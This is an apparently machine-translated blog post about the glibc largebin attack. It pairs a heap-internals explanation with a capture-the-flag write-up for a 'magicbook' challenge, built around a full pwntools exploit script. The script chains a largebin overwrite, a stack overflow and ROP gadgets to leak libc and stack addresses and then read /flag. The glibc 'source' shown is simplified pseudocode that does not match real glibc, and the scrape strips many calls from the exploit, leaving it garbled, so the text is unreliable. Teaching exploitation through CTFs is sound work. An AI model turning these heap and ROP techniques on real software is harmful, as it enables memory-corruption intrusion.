Location>code7788 >text

The largebin_attack of the frequent return home

Popularity:549 ℃/2024-07-25 11:02:29

The largebin_attack of the frequent return home

Let's start with a brief introduction to what largebin is

largebin is glibc'smalloc A data structure used in implementations to manage large blocks of memory. In glibc's memory allocation, thelargebin bebin Part of a series used to store free memory blocks whose size exceeds a certain threshold.largebin The design goal is to improve the efficiency of memory management and reduce memory fragmentation.

Simply put, it's used to manage larger chunks of the heap

  • Starting size:largebin The size of the managed memory block starts atsmallbin The range starts at the maximum value of the range + 1. Specifically.smallbin The maximum block size is 512 bytes.largebin The starting size is 513 bytes.
  • No cap:largebin There is no fixed upper limit to the number of memory blocks. Any free memory block larger than 512 bytes is inserted into the appropriatelargebin Center.
  • When a larger heap block is released, it goes into unsortbin first, and when it is allocated again, if there is a suitable one, it splits the heap block, and the rest of it still goes into unsortbin, and if there is no suitable one then it goes into largebin

Difference between largebin and other bin

  existlargebin in which each chunk of memory block, in addition to the standard bi-directional linked table pointerfd(forward) andbk(backward) in addition to the additional pointerfd_nextsize cap (a poem)bk_nextsize. The roles of these pointers are as follows:

  • fd cap (a poem)bk: Points to the blocks of memory adjacent to the front and back of the current linked table and is used to maintain a basic two-way linked table.
  • fd_nextsize cap (a poem)bk_nextsize: Points to the front and back neighboring blocks of size-ordered memory, used to maintain the size-ordered chain

Role:

  • fd_nextsize: Points to the next memory block of the same size or larger than the current block.
  • bk_nextsize: Points to a previous block of memory that is the same size or smaller than the current block.

This structure allowslargebin Maintains two linked lists: one in insertion order (using thefd cap (a poem)bk pointer), and the other is a linked list sorted by size (using thefd_nextsize cap (a poem)bk_nextsize (Pointer).

Large Bin The insertion order of the

  • Sorting by size: Heap blocks are first sorted from largest to smallest based on size. The smaller blocks are linked after the larger ones.
  • Sort by release time: For blocks of the same size, sort them by the order in which they were released. The first block to be released comes first.
  • fd_nextsize cap (a poem)bk_nextsize Pointer:
  • For multiple heap blocks of the same size, only the first block (i.e., the first heap block) of thefd_nextsize cap (a poem)bk_nextsize The pointer points to other blocks.
  • of subsequent heap blocks of the same sizefd_nextsize cap (a poem)bk_nextsize The pointers are all 0.

Circular chained tables:

  • largest blockbk_nextsize Points to the smallest sized block.
  • of the block with the smallest sizefd_nextsize Points to the block with the largest size.

Principle:

  • Largebin is a linked list of larger blocks of memory used in the glibc memory allocator. Each block contains not only pointers to the blocks before and after (fd cap (a poem)bk), and also contains pointers to blocks of the same size (fd_nextsize cap (a poem)bk_nextsize)。
  • When a block of memory is freed, it is put into the appropriate bin. If it is a large block, it goes into Largebin.
  • When allocating a new block of memory, glibc tries to find the right block to allocate from the appropriate bin. In Largebin, a chained list sorted by size helps to find the right block quickly.
  • An attacker could do this by spoofing pointers, especially thebk_nextsize, to control the behavior of the memory allocator to enable arbitrary address writes.

glibc source code analysis

1. When a block is released and meets the Largebin condition, it will be put into Largebin. The following is a list of themalloc cap (a poem)free Relevant parts of the operation:

void _int_free(mstate av, mchunkptr p) {
    // ... other code ...

    // Determine the bin to use
    if (chunk_in_largebin_range(size)) {
        // Add to Largebin
        mchunkptr bck = largebin[bin_index];
        mchunkptr fwd = bck->fd;
        
        p->bk = bck;
        p->fd = fwd;
        bck->fd = p;
        fwd->bk = p;
        
        // Update nextsize pointers
        mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
        while (next_chunk != NULL && chunksize(next_chunk) < size) {
            next_chunk = next_chunk->fd_nextsize;
        }
        p->fd_nextsize = next_chunk;
        p->bk_nextsize = next_chunk->bk_nextsize;
        next_chunk->bk_nextsize = p;
        next_chunk->fd_nextsize = p;
    }

    // ... other code ...
}

2. Modificationsbk_nextsize

We need to find a way of modifying thebk_nextsize Fields.

chunk1->bk_nextsize = Target - 0x20;

3. Allocation of new blocks to trigger attacks

When allocating a new block, glibc tries to find a suitable block to allocate. During this process, the forgedbk_nextsize will be used to update the pointer, resulting in an arbitrary address write.

void* _int_malloc(mstate av, size_t bytes) {
    // ... other code ...

    if (bytes > MAX_SMALLBIN_SIZE) {
        // Check Largebin
        mchunkptr victim = largebin[bin_index];
        
        if (victim != NULL) {
            // Remove from Largebin
            mchunkptr bck = victim->bk;
            mchunkptr fwd = victim->fd;
            
            bck->fd = fwd;
            fwd->bk = bck;
            
            // Update nextsize pointers
            mchunkptr next_chunk = victim->fd_nextsize;
            next_chunk->bk_nextsize = victim->bk_nextsize;
            victim->bk_nextsize->fd_nextsize = next_chunk;
            
            // Allocate the chunk
            set_inuse_bit_at_offset(victim, bytes);
            return chunk2mem(victim);
        }
    }

    // ... other code ...
}

A good introduction to largebin_attack can be found through last week's contest questions
Title Address:
/match/matches/207/challenges#magicbook

Title protection status: no canary protection on

64-bit ida reverse

There are 3 functions present, look at them one by one

add, there is a limit on the size and number of heap blocks that can be requested

free, not only the UAF exists, but also the 0x18 byte write at +8 of any heap block data section

edit, there is a stack overflow if the address at book is large

Sandbox protection

Idea: turn the address at book into a larger piece of data (header pointer) via largebin_attack, then read the data via stack overflow, orw

1. Request three heap blocks of size 0x450, 0x440, 0x440 (to prevent merging)

2. Release the first heap block (enter unsortbin at this point)

3. Apply for a heap block that is larger than the first heap block (enter largebin at this point)

4. While releasing the second heap block, modify the bk_nextsize of the first heap block to book-0x20 position

5. Apply for a large heap block to complete largebin_attack

6. stack overflow orw read flag

exp:

 

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./.6')

success('puts--->'+hex(['system']))

(' gift: ')
elf_base = int((14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060


def add(size):
    ('Your choice:','1')
    ('your book need?',str(size))


def free0(index,ch,msg):
    ('Your choice:','2')
    ('want to delete?',str(index))
    ('being deleted?(y/n)','y')
    ('you want to write?',str(ch))
    ('content: ',msg)

def free1(index):
    ('Your choice:','2')
    ('want to delete?',str(index))
    ('being deleted?(y/n)','n')

def edit():
    ('Your choice:','3')



book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863  + elf_base # : pop rdi; ret; 
pop_rsi = 0x0000000000001861  + elf_base  #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1

#(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)

edit()
('down your story!')
#(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
(payload)
('\n')
libc_bass = u64((6).ljust(8,b'\x00')) - ['puts']
success('libc_bass---->'+hex(libc_bass))
('down your story!')

pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret; 
syscall = 0x0000000000091316 + libc_bass#: syscall; ret; 
open = libc_bass + ['open']
environ = libc_bass + ['environ']
success('environ---->'+hex(environ))
read = libc_bass + ['read']

payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#(io)
(payload)
('\n')
stack  = u64((6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt) 
print(len(payload))
payload += b'/flag\x00\x00'
#(io)
(payload)

()

Summary:

Largebin Attack Utilization Conditions and Procedures

Utilization conditions:

  1. Modify permissions: Can modify thebk_nextsize Fields.

  2. Heap Block Allocation: The program is able to allocate blocks of at least three different sizes and ensure that these blocks are closely adjacent.

Utilize the steps:

  1. Allocate heap blocks:

    • Allocate a block of sizesize1 and within the Largebin rangechunk1

    • Allocate a block of any sizepad1to prevent the release of thechunk1 The system merges it with the top chunk.

    • Allocate a block of sizesize2 and within the Largebin rangechunk2Requirementssize2 < size1 both (... and...)chunk2 close neighborchunk1

    • Allocate a block of any sizepad2to prevent the release of thechunk2 The system merges it with the top chunk.

  2. Released and reallocated:

    • liberate (a *er)chunk1The system puts it into an unsortedbin and allocates another bin with the size ofsize3 The blocks that requiresize3 > size1At this point, the system willchunk1 Put it in Largebin.

    • assurechunk2 close neighborchunk1

    • liberate (a *er)chunk2 Go to unsortedbin.

  3. Modify the pointer:

    • modificationschunk1->bk_nextsize because ofTarget - 0x20

  4. Trigger attack:

    • A Largebin attack is triggered by arbitrarily allocating a heap block with access to unsortbin.